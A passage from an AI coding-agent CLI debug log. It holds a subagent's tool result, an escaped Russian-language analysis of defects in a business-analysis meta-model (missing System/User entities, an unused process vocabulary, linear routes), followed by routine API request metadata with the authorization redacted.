\u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 (`Product`, `Artifact`,\\n`Operation`, `Process`, `Route`, `Actor`, `Gate`, `Contract`, `Trace`); `Skill`\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u0434\u0435\u0441\u044f\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439, \u043d\u043e \u044f\u0432\u043d\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 `Operation`, \u0430\\n\u043d\u0435 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e\\n([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72).\\n\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442:\\n\\n- **\u0421\u0438\u0441\u0442\u0435\u043c\u0430** \u2014 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f;\\n- **\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c** \u2014 \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b;\\n- **\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441** \u2014 \u0441\u043c. `D5`.\\n\\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c **5 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b** \u044f\u0432\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0430\u043a\u0442\u043e\u0440\u0430 (\u00ab\u0410\u043a\u0442\u043e\u0440\u00bb, \u00ab\u0420\u043e\u043b\u044c\u00bb,\\n\u00ab\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb) \u0432 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u043c\u043e\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435 \u2014 \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u0438 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0438 Use Case\\n\u0438 \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c. \u041c\u043e\u0434\u0435\u043b\u044c, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0442 \u043d\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0432\u044b\u043d\u0443\u0436\u0434\u0430\u0435\u0442 \u0430\u0433\u0435\u043d\u0442\u0430\\n**\u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0442\u044c** \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u043f\u0440\u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 UML: \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0434\u043b\u044f \u043d\u0438\u0445 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442.\\n\\n**\u0422\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435.** `Actor` \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\\n\u0440\u0430\u0431\u043e\u0442\u044b (\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0438\u043b\u0438 \u0430\u0433\u0435\u043d\u0442). \u0410\u043a\u0442\u043e\u0440 \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u044b \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0440\u043e\u043b\u044c \u0432\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u0441\\n\u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. \u041e\u0434\u043d\u043e \u0438\u043c\u044f \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u043d\u044f\u0442\u0438\u044f \u2014 \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0438\u044f\\n\u0430\u043a\u0442\u043e\u0440\u043e\u0432.\\n\\n## D7. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439\\n\\n\u0418\u0437 **67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432** \u0441\u043f\u0438\u0446\u044b \u043f\u043e\u043b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u0432 \u0438\u043c\u044f \u0438\u0437 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u0434\u0435\u0432\u044f\u0442\u0438\\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 **\u0443 \u043e\u0434\u043d\u043e\u0433\u043e**; \u0443 **66** \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u041f\u0440\u0438\u043c\u0435\u0440\u044b\\n\u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439:\\n\\n```\\nArchitecture Spike: HH.ru Chats \u2194 Mango CC data mapping\\nCombined L4 gap report: BA verdicts + SA models + footnoted hh.ru API sources\\nbcreq-1025-email-routing\\nbcreq-1059-multichannel-slots-limits\\n```\\n\\n\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u043f\u0430\u0434\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0434\u0432\u0430 \u043a\u043b\u0430\u0441\u0441\u0430: **\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0440\u0430\u0431\u043e\u0442\u044b** (\u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442) \u0438\\n**\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u0430** (`bcreq-<\u043d\u043e\u043c\u0435\u0440>-<\u0442\u0435\u043c\u0430>`). \u041d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043d\u0435\\n\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u0434\u0435\u0432\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 **\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f** \u2014\\n\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043e\u043d \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u0447\u0438\u0442\u0430\u0442\u044c\u0441\u044f \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c\\n\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u041a\u041a.\\n\\n**\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0432\u044b\u0432\u043e\u0434\u0430.** \u0417\u0430\u043c\u0435\u0440 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438, \u0430 \u043d\u0435\\n\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a\u0430\u043a \u0442\u0430\u043a\u043e\u0432\u043e\u0433\u043e: \u0440\u0430\u0431\u043e\u0442\u0430 \u0432\u0435\u043b\u0430\u0441\u044c, \u043d\u043e \u0435\u0451 \u0442\u0438\u043f \u043d\u0435 \u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f.\\n\\n## D8. \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u043f\u0438\u0441\u0430\u043d \u043a\u0430\u043a \u043b\u0438\u043d\u0435\u0439\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\\n\\n\u0412 \u0448\u0435\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u0430\u0445 \u043c\u043e\u0434\u0443\u043b\u044f `ba-meta-model/`:\\n\\n- \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u0432 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f (`\u0432\u0435\u0442\u0432\u043b\u0435\u043d`, `\u0443\u0441\u043b\u043e\u0432\u043d`, `\u0433\u0440\u0430\u0444`, `\u0440\u0430\u0437\u0432\u0438\u043b\u043a`, `if `) \u2014 **1**, \u0438\\n  \u044d\u0442\u043e **\u043e\u0442\u0440\u0438\u0446\u0430\u043d\u0438\u0435**: `30-decision-framework.md:98`\\n  `<\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u043e \u0440\u0435\u0436\u0438\u043c\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430>`;\\n- \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u2014 **2**, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435\\n  `10-theory.md`, \u00a76: \u00ab\u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u0435\u043d **\u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430** \u0438 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f\\n  \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438\u00bb;\\n- \u043b\u0438\u0441\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 Execution Package \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u043b\u0438\u043d\u0435\u0439\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a `steps:`.\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f: \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435\\n\u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u043d\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0432 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\\n\u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442. \u041f\u0440\u0438 \u043b\u0438\u043d\u0435\u0439\u043d\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0435 \u0442\u0430\u043a\u0430\u044f\\n\u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a **\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430** \u0438 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u043e\u0439.\\n\\n## \u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442\\n\\n1. \u0414\u0435\u0444\u0435\u043a\u0442\u044b `D1`\u2013`D4` \u0434\u0435\u043b\u0430\u044e\u0442 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u2192 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0442\u043e\u043c \u0432\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435.\\n2. \u0414\u0435\u0444\u0435\u043a\u0442\u044b `D5`, `D6` \u0434\u0435\u043b\u0430\u044e\u0442 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u2192 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043d\u0430\u0432\u044b\u043a\u0430\\n   (\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430) \u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u00ab\u0421\u0438\u0441\u0442\u0435\u043c\u0430\u00bb, \u00ab\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0432\\n   \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n3. \u0414\u0435\u0444\u0435\u043a\u0442 `D7` \u043b\u0438\u0448\u0430\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u043f\u0443\u0441 \u043f\u0440\u0430\u0432\u0430 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b \u2014 \u044d\u0442\u043e\\n   \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435\\n   [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n   \u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0435\u0439\u0441\u043e\u0432 \u0432\u043c\u0435\u0441\u0442\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n4. \u0414\u0435\u0444\u0435\u043a\u0442 `D8` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043a\u0430\u043a \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0433\u0440\u0430\u0444 \u0441\\n   \u0443\u0441\u043b\u043e\u0432\u043d\u044b\u043c\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u043f\u043e \u0433\u0435\u0439\u0442\u0430\u043c.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0437\u0430\u043c\u0435\u0440\u0430\\n\\n- \u0414\u0435\u0444\u0435\u043a\u0442\u044b `D1`, `D2`, `D8` \u0438\u0449\u0443\u0442\u0441\u044f **\u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c\u0438**: \u0437\u0430\u043c\u0435\u0440 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\\n  \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0438\u043b\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0430.\\n- `D3` \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043f\u043e \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b; \u0441\u0442\u0440\u043e\u043a\u0438 \u0431\u0435\u0437 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u043e\u0433\u043e \u043f\u043e\u043b\u044f\\n  \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0441\u0447\u0451\u0442 \u043d\u0435 \u0438\u0434\u0443\u0442 (\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043e 30 \u0441\u0442\u0440\u043e\u043a \u0438\u0437 30).\\n- `D4` \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0441\u043c\u044b\u0441\u043b: \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0441 \u043e\u0434\u043d\u0438\u043c \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u043c\\n  \u043d\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u0451\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0449\u0438\u043c, \u0447\u0442\u043e **\u0437\u0430\u043d\u0438\u0436\u0430\u0435\u0442** \u0447\u0438\u0441\u043b\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u043d\u044b\u0445 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0439.\\n- `D6` \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u0438 \u043b\u044e\u0431\u043e\u043c \u0438\u0437 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0445 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0439\\n  (`\u0421\u0438\u0441\u0442\u0435\u043c\u0430`/`System`, `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c`/`User`, `\u0410\u043a\u0442\u043e\u0440`/`Actor`,\\n  `\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441`/`Subprocess`).\\n- `D7` \u0431\u0435\u0440\u0451\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u043e\u043b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043f\u0440\u043e\u0433\u043e\u043d \u0431\u0435\u0437 \u043f\u043e\u043b\u044f \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f\\n  \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e (\u0442\u0430\u043a\u0438\u0445 0).\",\n[2026-09-29T07:45:10.297Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:10.297Z] [INFO]       }\n[2026-09-29T07:45:10.297Z] [INFO]     ]\n[2026-09-29T07:45:10.297Z] [INFO]   },\n[2026-09-29T07:45:10.297Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"uuid\": \"05a6f49a-51a6-4d21-b45f-f8aeb6e19201\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:10.086Z\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:10.297Z] [INFO] }\n[2026-09-29T07:45:10.308Z] [STDOUT] [log_3bf29b] sending request {\n[2026-09-29T07:45:10.312Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:10.314Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:10.316Z] [STDOUT]   options: {\n[2026-09-29T07:45:10.321Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:10.327Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:10.334Z] [STDOUT]     body: {\n[2026-09-29T07:45:10.347Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:10.351Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:10.357Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:10.362Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:10.370Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:10.373Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:10.376Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:10.382Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:10.386Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:10.389Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:10.400Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:10.402Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:10.406Z] [STDOUT]     },\n[2026-09-29T07:45:10.410Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:10.413Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:10.420Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:10.426Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:10.432Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:10.436Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:10.441Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:10.447Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:10.451Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:10.454Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:10.459Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:10.463Z] [STDOUT]     },\n[2026-09-29T07:45:10.467Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:10.471Z] [STDOUT]   },\n[2026-09-29T07:45:10.474Z] [STDOUT]   headers: {\n[2026-09-29T07:45:10.477Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:10.480Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:10.484Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:10.487Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:10.489Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:10.493Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:10.499Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:10.505Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:10.511Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:10.519Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:10.526Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:10.537Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1767\",\n[2026-09-29T07:45:10.550Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:10.554Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:10.560Z] [STDOUT]     \"x-claude-code-session-id\": 